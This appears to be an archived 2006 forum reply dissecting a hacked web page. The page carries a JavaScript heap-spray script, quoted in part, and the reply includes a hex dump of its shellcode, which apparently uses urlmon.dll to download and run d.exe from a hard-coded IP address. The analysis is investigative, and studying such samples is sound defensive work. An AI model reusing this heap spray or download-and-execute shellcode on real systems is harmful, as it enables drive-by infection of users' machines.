10-24-06 06:24 AM
"Wong Yung" wrote:
> Actually looking more closely at it there seems to be something else
> going on as well. If I use links, it does exactly as you say.
> However, using Opera, Firefox or Konqueror what it does is goes to a
> webpage with
>
> <script>var
> s=unescape(" %u4141%u4141%u4141%u4141%u4141%u4141%u41
41%u4141");
> do{s+=s;}while(s.length<0x0900000);s+=unescape
> (" %u54EB%u758B%u8B3C%u3574%u0378%u56F5%u76
8B%u0320
[snip]
That variable "s" is storing executable code. The script inserts at
least 9437184 "A" characters (a NOP sled of 0x41), followed by code
which looks like this when dumped out in hex/ascii:
0000 EB 54 8B 75 3C 8B 74 35 78 03 F5 56 8B 76 20 03 .T.u<.t5x..V.v .
0010 F5 33 C9 49 41 AD 33 DB 36 0F BE 14 28 38 F2 74 .3.IA.3.6...(8.t
0020 08 C1 CB 0D 03 DA 40 EB EF 3B DF 75 E7 5E 8B 5E ......@..;.u.^.^
0030 24 03 DD 66 8B 0C 4B 8B 5E 1C 03 DD 8B 04 8B 03 $..f..K.^.......
0040 C5 C3 75 72 6C 6D 6F 6E 2E 64 6C 6C 00 43 3A 5C ..urlmon.dll.C:\
0050 55 2E 65 78 65 00 33 C0 64 03 40 30 78 0C 8B 40 U.exe.3.d.@0x..@
0060 0C 8B 70 1C AD 8B 40 08 EB 09 8B 40 34 8D 40 7C ..p...@....@4.@|
0070 8B 40 3C 95 BF 8E 4E 0E EC E8 84 FF FF FF 83 EC .@<...N.........
0080 04 83 2C 24 3C FF D0 95 50 BF 36 1A 2F 70 E8 6F ..,$<...P.6./p.o
0090 FF FF FF 8B 54 24 FC 8D 52 BA 33 DB 53 53 52 EB ....T$..R.3.SSR.
00A0 24 53 FF D0 5D BF 98 FE 8A 0E E8 53 FF FF FF 83 $S..]......S....
00B0 EC 04 83 2C 24 62 FF D0 BF 7E D8 E2 73 E8 40 FF ...,$b...~..s.@.
00C0 FF FF 52 FF D0 E8 D7 FF FF FF 68 74 74 70 3A 2F ..R.......http:/
00D0 2F 36 36 2E 33 36 2E 32 34 31 2E 32 34 33 2F 64 /66.36.241.243/d
00E0 2E 65 78 65 00 00 00 00 00 00 00 00 00 00 00 00 .exe............
I'm guessing it would use urlmon.dll to download the file "d.exe" from
66.36.241.243, which is a small executable packed using FSG. There's
also a reference to a file "C:\U.exe".
> The
> "hacked3_files/-----------------------------------------------------------
.html"
> is a html file with:
[...]
> AAAABBBB [snip] NNNNOOOOAAA [snip] 88889999.wmv
The part between my snips had a control character (0x05) either side
of it. I don't know the reason for that.
[...]
> So it looks like on Konqueror/Firefox/Opera it was trying to download a
> wmv file (which no longer exists on the server). On links however it
> seems to go to an entirely different webpage, the one which as you
> point out tries to go to http://kaonline.biz/.
It appears to be an exploit involving a wmv vulnerability, but I don't
know how the binary code in the script variable "s" gets to be run.
Also spotted here:
http://www.castlecops.com/p842233-P...MV_exploit.html
[ Post a follow-up to this message ]
| 
